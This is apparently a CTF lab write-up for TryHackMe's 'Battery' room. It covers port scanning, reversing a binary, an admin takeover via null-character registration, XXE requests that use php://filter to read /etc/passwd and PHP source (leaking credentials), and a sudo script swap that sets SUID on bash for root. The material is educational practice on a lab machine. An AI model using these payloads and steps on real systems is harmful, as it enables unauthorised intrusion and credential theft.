Battery TryHackMe Writeup

7 minute read

battery

Battery is a medium rated linux room by cr3t3ht3. This writeup contains binary reversing with ghidra to obtain the user account of admin of the webserver. Admin account takeover combined with XXE allows us to read arbitary files on the webserver which contained the account credential for user cyber on the box. Entry on the sudoers file is exploited to get the root shell on the box.

Port Scanning

Full Port Scan

[email protected]:~/Documents/tryhackme/battery$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.119.5
Nmap scan report for 10.10.119.5
Host is up (0.38s latency).
Not shown: 65296 closed ports, 237 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Jan 16 12:59:33 2021 -- 1 IP address (1 host up) scanned in 55.99 seconds

Detail Scan

[email protected]:~/Documents/tryhackme/battery$ nmap -p 22,80 -A -oN nmap/detail 10.10.119.5
Nmap scan report for 10.10.119.5
Host is up (0.38s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 16 13:47:41 2021 -- 1 IP address (1 host up) scanned in 48.84 seconds

By searching the OpenSSH version shown by the Nmap on https://launchpad.net/ubuntu/+source/openssh/1:6.6p1-2ubuntu2.11, the version of ubuntu running is found to be Ubuntu Trusty (14.04), which is the older version of Ubuntu.

HTTP Service on Port 80

1

There is not much information on the homepage.

Directory and File bruteforcing with gobuster

[email protected]:~/Documents/tryhackme/battery$ gobuster dir -u http://10.10.119.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.119.5
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,html,php
[+] Timeout:        10s
===============================================================
2021/01/16 07:16:40 Starting gobuster
===============================================================
/index.html (Status: 200)
/register.php (Status: 200)
/admin.php (Status: 200)
/scripts (Status: 301)
/forms.php (Status: 200)
/report (Status: 200)
/logout.php (Status: 302)
/dashboard.php (Status: 302)
/acc.php (Status: 200)
/with.php (Status: 302)
/tra.php (Status: 302)

Visiting /admin.php using curl

2

I have used curl here to list the response headers which shows that the backend is running on PHP 5. These kinds of information are always helpful while trying to exploit the server. We now know that the version of Ubuntu and PHP on the webserver is outdated which will enable attacker to search for the publicly availabe exploits.

I visited every page shown by the gobuster to understand the workflow of the web app. Only thing that was unusual is the binary on /report. So, I donwloaded the binary and reversed using Ghidra.

Reversing report binary using ghidra

main


undefined8 main(void)

{
  int iVar1;
  int local_8c;
  char password [32];
  char username [32];
  undefined local_48 [32];
  char email [32];
  
  local_8c = 0;
  puts("\n\n\n");
  puts("Welcome To ABC DEF Bank Managemet System!\n\n");
  printf("UserName : ");
  __isoc99_scanf(&DAT_001021f0,username);
  puts("\n");
  printf("Password : ");
  __isoc99_scanf(&DAT_001021f0,password);
  iVar1 = strcmp(username,"guest");
  if ((iVar1 == 0) && (iVar1 = strcmp(password,"guest"), iVar1 == 0)) {
    options();
    while (local_8c != 5) {
      printf("Your Choice : ");
      __isoc99_scanf(&DAT_00102216,&local_8c);
      if (local_8c == 1) {
        users();
      }
      else {
        if (local_8c == 4) {
          printf("email : ");
          __isoc99_scanf(&DAT_001021f0,email);
          puts("\n");
          printf("Password : ");
          __isoc99_scanf(&DAT_001021f0,local_48);
          update(email);
        }
        else {
          if ((local_8c == 3) || (local_8c == 2)) {
            puts("not available for guest account\n");
            system("clear");
            options();
          }
          else {
            puts("Wrong option\n");
            system("clear");
            options();
          }
        }
      }
    }
  }
  else {
    printf("Wrong username or password");
  }
  return 0;
}

Users


void users(void)

{
  system("clear");
  puts("\n===============List of active users================");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]");
  puts("[email protected]\n\n");
  options();
  return;
}

We get a list of emails which might be useful later. So, let us keep a note of that.

update


void update(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"[email protected]");
  if (iVar1 == 0) {
    puts("Password Updated Successfully!\n");
    options();
  }
  else {
    puts("Sorry you can\'t update the password\n");
    options();
  }
  return;
}

From the update function, we know that only [email protected] can update the password. So, we can guess this might be the admin user on the webserver. With this information, let us continue to test the webserver.

Registering a user on /register

3 I tried to register with [email protected]

4 Checks are being used if i use the username as [email protected].

I registered with username test:password and the registration was successful this time.

Dashboard

5

I looked around to check the functionality of the webapp and found two pages that require admin access ie acc.php and forms.php. To be able to use these, we have to be an admin first.

Visting /forms.php

6

Admin account takeover

I tried different ways to register a account with username [email protected]. I used capitalization of few characters, using spaces and null characters. And null character seem to do the trick. As this type of null character bypassing is usually found on webserver running on PHP, it is very important to collect these information at the time of recon.

Tried Sequences

Registering with appending null character at the end

7 And we successfully register.

Trying to login with the new credentials for admin

8 We succesfully log in with the new credentials and we can also access /forms.php. 9

Making a post request on /forms.php

10 From the response we can see that xml data that we have sent is reflected on the response. Since the backend is parsing the xml data, lets try if this is vulnerable to XML entity injection attack (XXE). So, I copied a simple payload from payloadallthething repo.

XXE

11 And the value is reflected on the response.

Since the webapp is vulnerable to XXE, let’s try to read the local files present on the server.

Reading /etc/passwd

Request

POST /forms.php HTTP/1.1
Host: 10.10.111.126
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 191
Origin: http://10.10.111.126
Connection: close
Referer: http://10.10.111.126/forms.php
Cookie: PHPSESSID=c0shssb3albbq408o8g9qki073

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<root><name>1</name><search>&xxe;</search></root>

I have used PHP filter to exfiltrate the data from the local server to avoid any cases that might trigger error with the xml parser.

Partial Response

Sorry, account number cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxpYnV1aWQ6eDoxMDA6MTAxOjovdmFyL2xpYi9saWJ1dWlkOgpzeXNsb2c6eDoxMDE6MTA0OjovaG9tZS9zeXNsb2c6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTAyOjEwNjo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjEwMzoxMDk6Oi92YXIvbGliL2xhbmRzY2FwZTovYmluL2ZhbHNlCnNzaGQ6eDoxMDQ6NjU1MzQ6Oi92YXIvcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KY3liZXI6eDoxMDAwOjEwMDA6Y3liZXIsLCw6L2hvbWUvY3liZXI6L2Jpbi9iYXNoCm15c3FsOng6MTA3OjExMzpNeVNRTCBTZXJ2ZXIsLCw6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKeWFzaDp4OjEwMDI6MTAwMjosLCw6L2hvbWUveWFzaDovYmluL2Jhc2gK is not active!

And we get the response.

Decoding the response

[email protected]:~/Documents/tryhackme/battery$ echo -n cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxpYnV1aWQ6eDoxMDA6MTAxOjovdmFyL2xpYi9saWJ1dWlkOgpzeXNsb2c6eDoxMDE6MTA0OjovaG9tZS9zeXNsb2c6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTAyOjEwNjo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjEwMzoxMDk6Oi92YXIvbGliL2xhbmRzY2FwZTovYmluL2ZhbHNlCnNzaGQ6eDoxMDQ6NjU1MzQ6Oi92YXIvcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KY3liZXI6eDoxMDAwOjEwMDA6Y3liZXIsLCw6L2hvbWUvY3liZXI6L2Jpbi9iYXNoCm15c3FsOng6MTA3OjExMzpNeVNRTCBTZXJ2ZXIsLCw6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKeWFzaDp4OjEwMDI6MTAwMjosLCw6L2hvbWUveWFzaDovYmluL2Jhc2gK | base64 -d

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash

Looks like there are two users on the box. So I tried to read their private key (/home/user/.ssh/id_rsa) if they have one but was not successful. Since we can read any files from the webserver that the user running as webserver has permission to, So, I tried to read the content of the webserver files like admin.php,forms.php,acc.php etc and found juicy info on acc.php.

Reading acc.php

Request

POST /forms.php HTTP/1.1
Host: 10.10.111.126
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 187
Origin: http://10.10.111.126
Connection: close
Referer: http://10.10.111.126/forms.php
Cookie: PHPSESSID=c0shssb3albbq408o8g9qki073

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>
<root><name>1</name><search>&xxe;</search></root>

Response

<!DOCTYPE html>
<html>
<head>
<style>
form
{
  border: 2px solid black;
  outline: #4CAF50 solid 3px;
  margin: auto;
  width:180px;
  padding: 20px;
  text-align: center;
}


ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  overflow: hidden;
  background-color: #333;
}

li {
  float: left;
  border-right:1px solid #bbb;
}

li:last-child {
  border-right: none;
}

li a {
  display: block;
  color: white;
  text-align: center;
  padding: 14px 16px;
  text-decoration: none;
}

li a:hover:not(.active) {
  background-color: #111;
}

.active {
  background-color: blue;
}
</style>
</head>
<body>

<ul>
  <li><a href="dashboard.php">Dashboard</a></li>
  <li><a href="with.php">Withdraw Money</a></li>
  <li><a href="depo.php">Deposit Money</a></li>
  <li><a href="tra.php">Transfer Money</a></li>
  <li><a href="acc.php">My Account</a></li>
  <li><a href="forms.php">command</a></li>
  <li><a href="logout.php">Logout</a></li>
  <li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>

</body>
</html>

<?php

session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="[email protected]")
{

echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:<cyber-redacted-password>
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>

And we get the credentials for user cyber.

Using SSH to login as user cyber

12

Privilege Escalation

Checking sudo -l

13 User cyber can run /home/cyber/run.py as sudo. If we can edit that file, we can run code as root user.

Checking the permissions of /home/cyber/run.py

[email protected]:~$ ls -la run.py 
-rwx------ 1 root root 349 Nov 15 18:33 run.py

Looks like only root can view and edit the content of the file. But as the file is on the home directory of user cyber, we can easily move the file and create a new run.py file.

14

Updated run.py

15

Running the script as root

16 And the SUID bit is set on the /bin/bash binary.

Shell as root

[email protected]:~$ /bin/bash -p
bash-4.3# id
uid=1000(cyber) gid=1000(cyber) euid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(cyber)

Reading user flags

17

Reading root flag

18